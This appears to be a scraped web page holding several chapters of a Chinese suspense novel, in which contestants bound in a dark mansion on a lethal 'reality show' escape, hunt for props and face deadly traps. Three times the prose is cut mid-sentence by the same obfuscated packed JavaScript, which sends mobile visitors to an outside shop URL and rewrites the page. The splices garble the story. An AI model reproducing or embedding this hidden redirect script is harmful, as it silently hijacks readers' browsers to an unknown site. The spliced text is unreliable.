“先聊聊你认为高清如是被人害了或者绑架了,这是为什么?有任何依据或佐证吗?” “佐证…….”王柏愣住,紧接着陷入沉思,口中喃喃,“我只知道她不是一个软弱的人,那天早上,她还在想着复出、努力找工作机会。” “在此之前,我们也有过争执,但从没有现在这种程度过,这不是她的作风。就这么说吧,但凡她有自主权,都会想办法联系我们报平安,免得我们担忧。” “可现在没有,没有任何消息…..那你说还有什么别的可能性?!没有了!我只希望她现在还活着……” 刘思睿面露难色:“这些都是你主观的看法,只能参考,不算佐证。” 他向王柏解释:“按你的猜测,高清如被绑架,那绑匪图什么?如果是图钱,那也该联络你或者其他人要钱了吧?你有收到类似的勒索信息或电话吗?” 王柏脸色铁青地摇头,眼神中满是无力感:“不知道,我没有收到,其他人也没有。呵,既然你不信,我也没办法说服你了,我嘴笨。” “但我坚持自己的看法,现在只求你们把这桩失踪案列入调查,尽快。” “求求你们了。” 刘思睿一时语塞,不知该如何接话。 有人从楼梯上走下来,径直朝他们的方向走来,身形挺拔威严。 他看了眼垂头丧气的王柏,又看看面色沉凝的刘思睿,询问道:“小刘,发生了什么。” “武队!” 刘思睿回过神,连忙起身向来人敬礼。 被称作武队的人是忠明市案件侦查大队的队长,武江。 作为队长带队六年,期间破获大案要案无数,属于传奇人物了。 刘思睿很崇拜他,因此将来龙去脉讲得又快又细致,只求给队长留下一个好印象。 武江听完后点点头,上前一步走到刘思睿身边,拍了拍他的肩:“小刘,你先去忙,这里我来吧。” 又对王柏道:“王先生,您不用求我们——民众报案我们调查,这是职责,请您放心。我们一定会尽快调查高小姐失踪一事。” “不过,还请再回忆一下,高小姐失踪前是否有说过什么不寻常的话,或者做不寻常的事?任何细节都可以,这很重要。” “不寻常的细节,什么都可以吗?” “没错,什么都可以。” “我想想……啊!”王柏突然神色一震,“有件事确实让我有点在意。” “10号那天,我跟清如说最近没工作,她就沉默了好一会儿,说她倒是接到一个通告,就是感觉怪怪的,想下次和我当面讨论下要不要接。” 武江问:“通告?知道是什么内容吗?” 王柏点头,又马上摇头,“具体的不知道,她只提了一嘴,说是......” “一档惊悚主题的真人秀。” 4. Day 1「04」 “呼哈,呼哈……” “现在几点了?可恶!根本挣脱不开,这玩意怎么这么牢固!” 房间仍旧只有烛光微弱,映出黄发青年庞洪因过分使劲而扭曲的脸庞,细密的汗珠从额头流到衣领里,上半身的衣物都被汗打湿。 他屏住呼吸手臂猛地发力,一整张脸涨红,可手腕处的扎带依旧稳如泰山分毫未动,坚持了须臾后力气用尽,庞洪累的瘫倒在椅子上。 “我X,这怎么整!” “绑手的到底是啥,怎么会这么结实,老子手都快被勒断了!” 常真一冷不丁地出声:“是尼龙扎带”。 还是一贯的那种冷淡语调,似在解答庞洪的疑惑,可视线却又不在他身上,“纯靠力气挣脱并非不可能,但你,最好还是省点力气吧。不如多观察下身边有没有能够得着的道具。” 庞洪闻言瞬间如一根被点燃的炮仗似的,“砰”地炸了:“靠!你什么意思,说我不行?老子早就看你这家伙不爽了,拽个屁啊!” “尼龙扎带是吧?那就对了,正常人谁能只凭力气挣脱?老子都不行,其他人也做不到!” “还敢教我做事?道具……道个屁的具!要是有能用的东西,我还能费这大半天功夫吗,是不是拿别人当傻子?” 也是气得狠了,一连串话叭叭叭地都不带喘气。 常真一漫不经心地扫了眼庞洪,眸如寒星,就是那眼神确实像在看一个傻子。 “你个小白脸,我X!我X!” 庞洪被常真一的眼神彻底激怒,口中吐出一连串不堪入耳的脏话。 他和常真一坐在同一侧,立时身体一歪就作势要扑过去揍人,但他忘了身体受缚,加上两人中间还隔着个人。 于是他很滑稽地连人带椅侧翻在地,掀起一地尘灰,摔得眼前一黑。 让人意外的是,椅子因为撞击,木料拼接处出现了松动。 庞洪发现这点后面露喜色,也顾不上找常真一麻烦了,嘴里开始猖狂叫嚣:“牛逼,老子是天才!直接把椅子给拆了不就全解决了!”。 随即更加激烈地扭动身体,带动椅子撞击地面、桌腿,发出刺耳的噪音。 其余几人不堪受扰地皱紧了眉头。 …… 童无垠陷入思考,屏蔽一切外界的干扰,沉浸在自己的世界中。 脱困的方式绝对不止一种。 追梦人既然称此为游戏,那就会有解法。 他们坐的椅子应该是特制的,椅背又高又窄、比脑袋还要高出一小截。 反绑的双手和椅背并没有被固定在一起,因此有一定上下移动及微转身体的空间,但在保持坐姿的情况下,除非像会软骨功的杂技演员一样能将手臂旋转360度,不然无法直接脱离椅背的桎梏。 不,不对。 童无垠意识到自己犯了一个错。 她陷入思维局限了,应该跳出去重新看待这个问题。 是的,在“保持坐姿的情况下”确实无法脱困,但,谁说脚被绑在椅子腿上,这个人就站不起来了? 意识到的瞬间,童无垠就行动了。 她身体向前平移,臀部挪到只沾一点椅子边,让自己和椅背之间的间隔空间最大化。保持着手臂向后平举的姿态,如做深蹲般,双腿与核心齐齐发力,向上缓缓起身。 身体带动手臂一同向上,眼看手臂马上就快要越过椅背的高度,童无垠突然感到一阵眩晕,同时下肢也开始颤抖。 是了,她的身体此时太过虚弱无力——做约等于“深蹲起身”的动作,对身体的挑战太大了。 但必须坚持住。 童无垠暗暗咬牙。这次若泄了力,下一次尝试只会更难。 撑着一口气,她用尽最后的力量,手臂终于从椅背上抽了出来。 再没有一点力气的童无垠一屁股坐回椅子,但脸上绽开了一抹久违的笑容。 她成功了! 手已经脱离椅背的局限,能活动的范围变广,接下来可以做的操作有许多。 思绪翻飞间,正好听见那边常真一提到「道具」,倒是给她也提了个醒—— 面前餐桌上摆着的物品,正好处于她站着并转身后,能够得到的范围内。 就在这时,在庞洪制造出的吵闹背景音中,一道极具穿透力且清脆的断裂声吸引了所有人的注意。 是莎露,她竟然仅凭自身肌肉力量,硬生生崩断了手腕上的尼龙扎带! 这下惊呆了众人,其中庞洪更是面色青红交加——才刚信誓旦旦地说没人能做到,这下啪啪打脸了。 坐在莎露对面的年轻男子——摄影师文自宇没绷住,脱口而出:“我去!” 之前发生了那么多事,他都一直死死紧闭双唇,童无垠注意到这点时还想过是不是他担心说错话被追梦人惩罚,因此打定主意不开口。 此刻被莎露徒手断扎带的勇猛一幕正面暴击,他震惊之下贡献了自己来此后的第一个音节。 既然“闭口禅”已破,他也不再保持沉默,眼带钦佩地朝莎露颔首,口中赞道:“真的太厉害了!” 年轻男人长得俊俏,浑身文质彬彬的范儿,有点文艺男大学生的感觉。他的称赞让莎露有些不好意思。 轻声回了个“谢谢”,莎露弯腰,双手大拇指和食指捏住左脚处的扎带,手臂带动手指一同向两侧发力。 左脚处的束缚也应声而断。 “牛X!”仍倒在地上的庞洪,不再试图蛄蛹着破坏椅子了——折腾半天,除了最开始的松动处多了一小条裂痕,其他一点没有要坏的迹象。 他将新的希望放在了莎露身上,刚好他俩的座位挨在一起。 他向莎露恳求道:“小姐姐,帮帮我呗,帮我也解开!” 说这话时,莎露刚扯开右脚的扎带恢复了自由。闻言,她面露犹豫,视线在等待探索的区域和庞洪之间游移。 庞洪瞧出她的犹豫,心道有戏,继续磨:“小姐姐,对你来说就是举手之劳,费不了多少时间的!帮帮我吧,啊?我们得互帮互助哇!” “好吧……” 莎露到底还是妥协了,她想,帮个人确实不费什么时间,而且她不想因为拒绝生了嫌隙。 那庞洪一看就是个难缠的。 见莎露真的打算帮庞洪脱困,高清如与林志德坐不住了,二人先后开口。 高清如:“等下也帮帮我吧!” 林志德:“麻烦也帮我解开下!” 说完两人意外地对视一眼,眼神不约而同浮上警惕和敌意,如同看竞争对手。 与考场中有人率先交卷时体会到的压力类似——只要有一个人成功,其余人就很难再坐得住了。 时钟挂得较远,烛光照不到,众人说实话看不太清楚具体的时间,秒针走动发出的滴答滴答声,倒是清晰可闻。 黑暗总是能放大这些,例如时间流逝的声音,也例如胸腔中越发急促不安的心跳。 莎露那边发的动静很大,童无垠也不由分出些心神关注。在某个瞬间,她其实也想过要不要请求莎露帮自己。 但下一刻就打消了这个念头。 弊端太多。 其一,莎露帮助他人脱困,必然拖累自己的搜查进度,难保她以后回想起来不会迁怒于人。 其二,首个游戏就求助,潜移默化之间,自己在其他人眼里会被打上「弱者」的标签。欺软怕硬是人性的本质之一,在这个环境下,成为弱者绝不是好事。 其三,莎露只能一个一个地帮,这么多人必然要分出先后,而谁先谁后,其实都取决于她。这意味着莎露获得了某种意义上的“控制决策权”,她与被支配者的关系必然产生微妙变化,不再单纯。 这点的影响难以预测,童无垠不喜欢给自己挖坑。 其四,得人相助自然也就欠下了人情,但童无垠自己有解题思路,没有必要额外欠人情。 清除杂思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671525|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她专注地、细细地打量餐桌上所有的物品。 桌子中间处放着十来个装盛食物的陶瓷餐盘、古朴的木雕烛台与正燃烧的蜡烛;离人更近些,是一人一套的木筷子、木汤匙及陶瓷水杯。 童无垠站从座位上站起来,两脚交替着拉动椅子缓缓靠近餐桌,待足够接近后,她转过身体让双手能够到餐桌上的陶瓷水杯。 一点点,再多一点点……好,拿到了。 小拇指勾住水杯的把手,将它拉近,直到水杯越过桌边落到地上。 “啪嗒”,清脆的陶瓷破碎声。 童无垠没有理会身边那些惊诧的视线,她蹲下身,选了片最锋利的,用它相继割开了手腕和脚腕处的尼龙扎带。 活动着松了松手脚,望着被黑暗紧紧笼罩着的、四周充满未知的空间,心中竟然升腾起一种许久未曾有过的兴奋之感。 未知啊…… 沉吟思索了片刻,童无垠打算先去挂着时钟的那片墙找起,还能顺便看看现在的时间。 追梦人说游戏会在晚上十点结算,那结算后理应是睡觉休息的时间。因此三种道具之一的「房间钥匙」,大概率就是指供人休息的房间的钥匙了。 正迈步往时钟的方向走去时,耳边突然有人说话。 “去看时钟?介意一起吗?” 童无垠的耳畔忽然传来一阵酥麻瘙痒之感,顿时浑身寒毛直竖。是谁?靠得如此之近,她竟然毫无察觉…… 在警铃大作之际,她猛地回头,下意识地挥出一个肘击。 糟糕,童无垠反应过来,如果是其他真人秀嘉宾,这一下别把人给打坏了! 不过最终没人受伤。 身后那人身体微微一侧,手臂以一种极为巧妙的角度迎上童无垠气势汹汹的肘击。动作轻柔,却暗含巧劲,稳稳接住了她的胳膊肘。 “…..放开。” 一击过后,童无垠其实已经隐隐猜到身后那人是谁了。 回头见果然是他,她动了动还被抓着的手肘,无奈道:“先把我的手放下来吧,不是故意攻击你的。” 常真一没有立刻松开手,他攥着她的手腕,此时的姿势看着像是一个拥抱。 他轻笑:“反应很快,身手不错啊,NL。” 这家伙,什么时候脱困的? 心里好奇,童无垠直接就问出了口。 常真一松开她,双手随意地插在口袋里,坐靠在餐桌边,阴影中的他整个人散发着一种慵懒而又冷淡的气质,“就刚刚,你砸杯子那会儿。” 童无垠:“你动作好快,我都没注意到。怎么搞定的?” “很快吗。”常真一略懒散地歪头,目光不知落在何处,“我应该走的是追梦人特意设计好的’脱困路线‘。” 他轻抬下巴,示意童无垠看向椅背和椅面的接缝处,“那儿有一张极薄的金属片,应该是特意塞的,给发现它的人脱困用。” “找到不难,但它被塞太紧,拿出来还挺费功夫。” 童无垠看着他若有所思:“你是不是早就发现了?那个金属片。” “嗯”,常真一没否认,“那什么追梦人开口前就摸到了。” 他邀请道:“走吧?你想去看时钟,我和你一起。” 童无垠没答话。 常真一有种如雪山之顶般的清冷疏离感,他站在自己身边,两人似乎离得很近,可她却感觉不到他话语中的温度。 为什么要和她一起行动? 想不通这个问题,童无垠就不想答应。 “你找到的道具都是你的,我不会拿。”看出她的顾虑和怀疑,常真一嘴角扬起一抹微不可查的狡黠,调侃道:“还是说你怕我?” “看不出,你挺会说笑话的。” 童无垠回他一个笑,眼眸中是亮得吓人的光,仿佛任何挑战和威胁对她而言,只是让她兴致更盛的调剂罢了。 “走吧,让我们看看,这个真人秀有什么把戏。” 5. Day 1「05」 时间从不为任何人等待,不论身份、处境,一视同仁。 既残酷又公平。 此刻时间八点十五分,自游戏正式开始的12分钟后,仅有三人成功脱困。 他们已经有了巨大的优势——相对于其他人来说,有充足分时间去搜索道具。 理论上是这样的。 至少对童无垠和常真一而言是的,莎露注意到他们在角落里对话,看着他们一同朝着隐藏在黑暗中的空间走去。 被热血和虚荣暂据的大脑微微冷却后,随之而来的是焦虑。 明明她才是第一个脱困的人。 可不去找道具反而帮庞洪脱困,真是脑子搭错筋了,她有什么必要帮他? 说到底他们九个嘉宾并不是队友同伴,根据游戏规则看,反而更像是竞争对手。 很现实,毕竟道具数量有限,先到先得。任务卡更是如此,如果别人抢先分给她一个很危险的任务怎么办? 应下时,原以为花不了多少时间,也就是上手一拉一扯的事。 可她忽略了一件事,庞洪是侧翻倒地的。 这意味着他的手侧着垂直于地面,高度离地仅20cm不到,没有足够的空间发力。 莎露急道:“这样不行,扯不开!” “哈?啥意思?”庞洪傻眼了,“你给自己扯,不是‘啪’地一下就搞定了吗?!” 莎露语速极快的解释道:“你这个姿势我没法使劲!这样,你转身,面朝下手朝上,快!” 庞洪不情不愿地照做,嘴上嘟囔,“你不是力气很大吗!怎么还有这么多要求?” “面朝下……等等,我怎么就跪地上了?” 莎露没有理会,站到他身后、略微弯腰、双手使劲一扯,庞洪手腕处的扎带应声而断。 “牛X!”扎带解开,庞洪也就停止抱怨。他张开双臂在身侧来回挥舞,感受来之不易的自由,很快脚上的束缚也被莎露解除。 他彻底脱困后的第一件事,就是深吸口气,自肺腑中发出一声“啊哈———!”的长嚎。紧接着捞过餐桌上的餐盘,抓起看中许久的蜜汁焗鸡腿,恶狠狠的吞吃了个干净。 天知道桌上那些食物诱惑他有多久了,他都快饿死了! 而高清如和林志德,早在一旁等得望眼欲穿。庞洪这厢才脱困,他俩又不约而同地呼唤莎露帮自己。 生怕晚了对方一步。 不过他俩并没有想清楚自己处境,看庞洪什么都没有付出、只凭一张嘴就美滋滋脱困,因此错误地以为自己也可以这样做——只求人帮忙,却绝口不提自己能提供什么好处。 莎露心中似有无名火起,眉头皱得能夹死蚊子,她不得不借助低头的动作,来掩盖自己的满面厌恶之情。 她是不是表现得太好说话了?什么人都想薅她两把。 莎露生硬地回了句:“不好意思,我得去找道具了,你们自己想办法吧。你俩旁边坐着那女生不也靠自己脱困了吗?自己也努努力吧。” 说完回头,却发现庞洪已不在地上了。 这人竟然一个招呼不打,自顾自跑了?? 还抢先跑去了个一看就知道是能找着“好东西”的地方——不仅摆着个博古架,还有一排乌压压、数量庞大的落地摆件。 莎露嗓子眼里挤出一声冷笑,她这忙活半天究竟为了什么?连声谢谢都没有得到……之后再无偿帮忙她就是狗! 白眼狼!心里把庞洪骂得狗血淋头,正在气头上的莎露连个眼神都没有给仍在一旁喋喋不休的“嗡嗡苍蝇二人组”,选了另一个没有人的方向搜去。 …… 时钟从外表看来,没什么特别的。只是个样式普通的木质挂壁钟,悬挂在不到两掌宽的裸露墙面上。 童无垠碰了碰也没晃动它,倒还算稳当。 几近全黑,难以视物,她略带警惕地伸手摸上墙面,冷硬粗糙的触感从指尖处传来。 “是石砖墙,风化严重,应该有些年代了”,童无垠沉吟道。 “嗯,你来看看这个。”常真一掀开挡住墙面的红稠帘子,露出其后大片大片斑驳的青石墙和嵌入石墙中的圆木支柱。随着帘子被拉动,零散的石头碎屑跟着落了不少下来。 “从装潢和建筑材料来看,这栋建筑很像是一处古宅。这间屋子面积不小,我们大概率是在古宅的大厅里。” 他又抬手指了指墙上。那儿有一个轮廓模糊的物件,若隐若现地依附着墙壁。 “好像是个壁灯。” 童无垠闻言凑近,努力睁大眼分辨,片刻后认可地点头,“有点像……确实可能是灯,既然需要我们找东西,有光会更合理。” 常真一上手沿着那东西的轮廓摸索了两下,摸到一个旋钮,轻轻一拧。 “啪”的一声轻响,划破了沉寂的黑暗。 老式壁灯犹如自沉睡中被唤醒,一小团暖黄的灯光缓缓绽放开来,光芒轻柔地向四周蔓延,映照出青石墙上被风化侵蚀的孔洞,棕褐色挂钟质朴而清晰的木纹。 以及时钟背后,露出尾端的钥匙和一张卡片的边角。 童无垠将它们取下,拿在掌心观察:钥匙通体金属材质、古铜色、造型古朴,一端刻着字样“五”。 而卡片,实则为一张名片大小的硬质卡牌,正中央印着烫金的“功能卡”三个大字。 【功能卡】 【使用次数:1次】 【使用效果:对任意一名嘉宾释放电流5秒】 【触发方式:将卡牌插入目标嘉宾接驳环卡槽内,即刻生效】 好家伙,说是说可以对“任意一名嘉宾”释放电流,但触发方式也太苛刻了吧? 把卡插入对方的接驳环卡槽内?若非面对面、且距离极近的情况之下,几乎不可能办到。 最值得玩味的就是,功能卡的释放对象是其他嘉宾,追梦人想激起内部矛盾的司马昭之心真是昭然若揭了。 钥匙和功能卡的所有信息,都没有避开常真一。 “首战告捷,一下找到了两样道具。那把房间钥匙上的‘五’是房间号的话,那其余钥匙不出意外就是‘一’到‘九’了。”常真一没有评价那种功能卡,他收回目光,开始寻找其他地方的线索,淡淡道:“你找到的道具,你收着吧。” “嗯。”童无垠没有推脱,将钥匙和功能卡收进裤子口袋,“按之前说好的,谁找到归谁。” 常真一应了声好,语气中有不易察觉的欣赏:“一般都喜欢从未至的区域寻起,你会选择从时钟开始找,倒是有点‘灯下黑’的意思。” “你是猜到了追梦人会故意将道具放在,他主动展示给所有人看的时钟附近吗?” “运气好。”童无垠没有否认,“明明报个时间就行,追梦人非要多此一举让这面时钟隆重登场,给所有人看到。我就想他这么做……” “也是一种‘节目效果’,是吗?”常真一冷不丁接上话的后半截。 “......嗯哼” 童无垠像看珍稀动物一般上下打量常真一,他一头乌黑发丝微微凌乱,紧抿的薄唇没有一丝弧度,仿佛永远不会为谁而绽放笑容。 她真心感到疑惑,“我们性格应该……差别不小,思路倒是挺同步的。” 常真一眼神扫过她,眉头微挑:“噢?” “不过我想知道”,童无垠看着常真一那副冷冷淡淡、仿佛没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671526|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何事能真正让他上心的模样,心中涌起一股恶作剧的念头。 她话说半截,故意顿住。 没听到下文的常真一略感疑惑地回头,童无垠突然凑了上前去,脸庞近在咫尺,呼吸可闻。 时间仿佛停止了流动,只有交缠的呼吸、温热的气息在两人间回荡。 常真一没反应过来,愣了一瞬后默默跟童无垠拉开距离,略显无语地问:“这是干嘛?” 就是突然想这么做而已,童无垠面上一本正经地转移话题:“你到底为什么跟我一起行动?你自己搜更快。” 灯光照亮的青石砖墙破败不堪,甚至有些地方出现了缺口,常真一没有立刻回答,而是若有所思地观察起这些残缺不全的石头块。 童无垠虽然问了问题,但也没觉得常真一就一定会回答,因此对他的沉默没有放在心上,耸了耸肩就转头往更深处搜索。 常真一边走,手边在缺口处飞快掠过,突然他停下了脚步。 “有发现?” “嗯。”常真一两指并作一道,从几块青石间接缝处的裂隙后,夹出了张卡牌。 是张任务卡。 【任务卡】 【结算时间:真人秀第二日22:00】 【任务内容:找到“杀“字牌】 童无垠看了眼,忍不住吐槽:“又是找东西?” “可不是么。”常真一这次竟也附和了句,引得童无垠意外地看了他好几眼。 沿着墙继续向前走,壁灯的光洒在墙面上并不太明亮,两人同路而行但思路各不相同,却也相得益彰,各有收获。 直到他们被一张巨大的屏风挡住了去路。 屏风古色古香,上面的图案精美而繁复,有种独属于年代的神秘气息。屏风一侧紧贴墙壁,如果想在不挪动屏风的情况下继续前进,就必须绕行。 就在距离屏风仅有几步之遥时,一道寒光突然闪现。 一枚飞镖如闪电般直直地朝着二人的脸上飞来,划过一道凌厉的轨迹,其速度之快,常人根本反应不及。这枚飞镖从发射起,从头到尾只有一个目标,就是给予靠近之人死亡的威胁。 千钧一发之际,常真一以极快的速度将童无垠拉到身后,眼神中瞬间充满了冰冷的锋锐,手臂肌肉紧绷,指间夹着的任务卡精准地击中飞镖,发出一声清脆的声响。 任务卡被划、破裂成两半;而飞镖则被弹飞,改变了方向,狠狠地钉在一旁的青石墙上。 飞镖尾部还在微微颤动,仿佛在强调——刚才那命悬一线的惊魂时刻是真实存在的。 童无垠心有余悸,心脏砰砰直跳。她胆子绝对算不上小,但刚刚那个,已经完全不是“惊吓”的范畴了。 而是“谋杀”! 再三试探后确认飞镖只有一枚,不会再发射新的,常真一才放下手臂。他神色异常凝重地回头问童无垠:“受伤了吗?” 童无垠摇头,真心实意地道谢:“谢谢你,不然我刚才必死。” 她感到一种出离的愤怒。追梦人,这家伙根本就不把他们的命当命,他就是要让他们这些人的性命转化成所谓的“节目效果”,为这,他已经彻底疯狂。 不,疯狂仍不足以形容。 癫狂。追梦人已经癫狂了。 常真一的眼神是从未有过的冰冷,决意找出飞镖的来源,“你在这里等我,我去看看。” 就在这时,不远处突然传来一声极其凄厉的尖叫。 仿佛一把利刃扎入耳膜,那尖叫声中饱含无尽的惊恐和绝望,让人的心脏不由自主地跟着紧缩起来。 这是怎么了......? 难道,那边也遇见危险了?! 6. Day 1「06」 凄厉的惨叫过后,取而代之的是持续不断的痛哼。 任谁听到这声音,都能感受到当事人所承受的巨大痛苦与挣扎。空气似乎也被这痛苦所浸染,变得异常沉重压抑,让人几乎喘不过气来。 童无垠和常真一在黑暗中摸索着,朝着惨叫声传来的方向缓缓前行。 如同老旧胶卷中的画面,一盏晃悠悠的铜质玻璃灯高悬于房梁之上,散发出微弱的暖黄色光晕。抬头望去,木质房梁纵横交错,因岁月侵蚀而颜色暗沉,表面布满斑驳木刺与裂口。 房顶与黑暗在高处交织蔓延,给人一种仿佛会随时坍塌下来的错觉。 灯下有个依墙而立的五层博古架,博古架上面满满当当地摆放着各式书籍和小摆件,木架子被昏黄暖光照得蒙蒙亮,让人有种身在温馨书房的恍若隔世之感。 博古架的边上,棋牌大神林志德倒在地上。 他蜷缩着身子,左手死死地捂住另一只手,在地上不停地哀嚎打滚,喉咙里发出“嗬嗬”嘶叫。叫了这么久,喉咙早已干哑。 一靠近他,童无垠和常真一就闻到股刺鼻的血腥味,浓郁到让人难以忽略。 这是出了多少血? 他们二人之前搜的地方和这里是反方向,离得最远,是最后到的。其他人在听到惨叫后早已赶到,在林志德身边围站成了一圈。除了未恢复清醒的张木,在她和常真一搜索的期间,所有人都脱困成功,现在齐聚于此。 林志德应该是伤到了手,他虽死死捂着伤处,却无法阻止鲜血流出、在地面上蔓延成一片触目惊心的血泊。 “就这么看着他流血?” 说话的是林安宁,她通身有种沉稳的气质,当她开口说话时,人们会不由自主地静下心来认真聆听。 高清如满面愁容地接过话头:“是不是得先止血?但哪里都没有看到医疗箱啊!” 面面相觑间,常真一走上前,他在林志德身边蹲下,伸手按住他的身体。 “喂!你要干嘛?”庞洪眉头紧皱,态度不耐地开口喝问。他就是看不惯常真一,觉得他长得过于出挑,不像个能扛事的,“你别乱碰,净帮倒忙!” 这庞洪的态度未免也太尖锐了。童无垠心想这要是有人敢这么和她说话,她肯定不会善罢甘休,总要叫那人付出点代价端正下态度。思及此,她看向常真一,也好奇他会怎么回应。 常真一没有起身,也没有抬头,无人瞧见他眼神中的那抹寒意和其中凛冽的锋芒。庞洪见自己都那样说了常真一也没点表示,不禁更加嚣张,作势就要上前抓他的后衣领,把常真一从地上拉起来。 没有人看清常真一是何时动的。 他的动作却快得像一道影子,让人难以捕捉。等众人反应过来时,庞洪已经被他单手掐着脖子、按倒在地。 庞洪瞪大着的眼中红血色密布,面孔因缺氧无法呼吸以及震惊恐慌而扭曲,他似乎想说些什么,可喉咙被死死掐住导致他只能发出些模糊不清的音节。 涎水自嘴角淌出,庞洪看起来狼狈极了。 常真一冷冷的看着。 没有打算真的掐死庞洪,他算着时间松开手,庞洪像一条软脚虾般被丢弃在地上。 “你似乎很看不爽我啊?给你上一课,疯狗乱咬人之前先得掂量下自己,你和狗好好学学。” 常真一转回身子面向倒地的林志德——他已经快嚎不动了,因失血过多人也不大清醒。没怎么费劲,常真一就掰开了被他自己死死捂紧、不断流血的右手。 “天呐!”一直关注着情况的高清如,在看到林志德伤处时双手捂嘴,不可置信地惊叫出声,“他,他的手,怎么会……” 不怪高清如反应如此大,实在是林志德的右手状况太过于惨烈。 整个手掌从中间被利器硬生生地切成了两半,手指头全没了,只剩下小半截手掌。切口处平整,肌肉组织和断裂的血管都清晰可见,几小块碎肉在边缘处摇摇欲坠,仿佛随时都会掉落。 只是死死捂住断口,根本止不上血的流势。 常真一从林志德衣摆上撕下一长条衬衣布料,来回层层地缠住他的断掌,绑得极紧才堪堪止住血。 期间童无垠从餐桌上倒了杯水来给林志德喝了,他苍白失血的唇才终于恢复了些,有精神说话。 “谢谢……” “这样只是暂时的。”常真一将林志德的右手臂交到他自己手里托着,“你伤的很重,需要后续处理。” “怎么会受伤的?你的手掌被直接切断了,这不像是意外或者不小心造成的。” “确实不是” 林安宁面色凝重站在一旁,她替林志德回答了这个问题,“他是在找道具的过程中,被刀,或者是斧头给砍了手。” “刀?斧头?”庞洪被常真一丢到一旁后已经晃悠着又站了起来,此时听到林安宁提到什么刀和斧头的,又按耐不住了,“这博古架我也搜过,就没看见什么刀和斧头,你在瞎说啥?” 但他的质疑并没有打断林安宁的叙述,她抬手朝庞洪比了个稍安勿躁的手势,继续讲道:“当时我先脱困,又用金属片帮他们三个人也划开了束缚。” 那三个人,指的是高清如、林志德和文自宇。 说到这,她看了眼常真一:“那铁片的位置还是看他当时脱困,就坐在位置上也没怎么动,才猜到的在椅子后面的。这也得谢谢他。” “之后我和棋牌大神,哎,这个称号太响亮了,搞得我都忘了他名字,反正你们都知道我指的是谁。我们俩就决定往博古架这儿来搜。” 莎露突然出声打断,问道:“我记得那个鬼屋测评师,就那黄头发的,不先来的这儿搜吗?你们来的时候,他不在吗?” 庞洪不乐意了:“你什么意思?怀疑我?” 林安宁:“他不在。” 莎露早就因为之前帮他脱困没落到好一事,对庞洪心怀不满,这会儿逮着机会,一脸怀疑地朝庞洪冷笑道:“你去哪儿?怎么那么巧,你前脚走,人后脚就伤成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671527|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样了?” “哎,我去!你还真怀疑我?”庞洪从鼻子里发出冷哼声,都气笑了,“那博古架我也搜过!但我什么事儿都没有,我真不知道拿什么刀啊,斧子的。” 眼看着话题就要偏了,童无垠赶快开口:“我们先搞清楚事情的经过,时间有限,马上就要到十点了,大家还需要尽快寻找道具。” 这话说到所有人的心坎上了,寻找道具是大家的共同利益,没有人会在这件事情上面提反对意见。 林安宁继续道:“我和棋牌大神是一起搜的博古架,我从下往上,他从上往下搜。他搜得仔细,那博古架上每一层都放了许多的书或小摆件,他每一个都会拿出来。” “书一本本地翻,检查书页和封皮内有没有夹东西;摆件也一寸寸摸,我问他看那么细做什么?他说可能会有暗格一类的,不能轻易放过。” 她的脸色突然变得极为难看。 “本来好好地什么都没发生,问题,就出在那一樽青铜摆件上。” 众人的目光随着林安宁,转向博古架第三层,摆放在不起眼角落的青铜石狮子像上。那石狮大张着嘴,露出狰狞獠牙,有种择人而食的惊悚感。 好巧不巧,悬挂在房梁上的没什么存在感的灯盏竟突然闪烁了一下,平白地使人心中隐隐发毛。 童无垠问:“摆件有什么问题?” “那摆件,是一个机关”林安宁深吸一口气,脸色相当阴冷凝重,“他一挪动那石狮子,我就听到了‘哐当’一声巨响,只来得及瞄到一道寒光从上层木板坠下,瞬间寒光就砍在他的手掌上。” “太快了,根本来不及反应。那摆件就是个陷阱!这所谓的道具搜索,也是个陷阱!我们就是被玩弄在鼓掌之间的玩具!” 高清如闻言浑身发寒,朝着莎露的方向靠去,想要寻求一丝安全感。她只觉得一切都很荒谬,莫名其妙来到这里进行一些莫名其妙的搜索,结果就这还不够,还要搞出各种意外来妨碍他们。 如果这样的陷阱到处都是,她有命撑到最后么? 信心变得前所未有的微小,高清如挪到莎露身边扯住她的衣摆,向她投去求助的眼神。莎露没有回绝,对着高清如点头,默认了组队关系。 林志德被机关所伤,这件意外提前推动了嘉宾之间小团体的形成,人在多种多重危险因素的威胁下,抱团取暖也是本能。 童无垠站在旁边,她看着发生的一切,没有错过这些细节。 现在众人隐隐分为了四个团体,她和常真一;莎露和高清如;林安宁、文自宇、灵志德,他们三人虽没有明显的组队表现,但有之前一起脱困的事做铺垫,关系较其他人更近些;接着就只剩下庞洪和失去意识的张木。 “叮叮——铛——!” 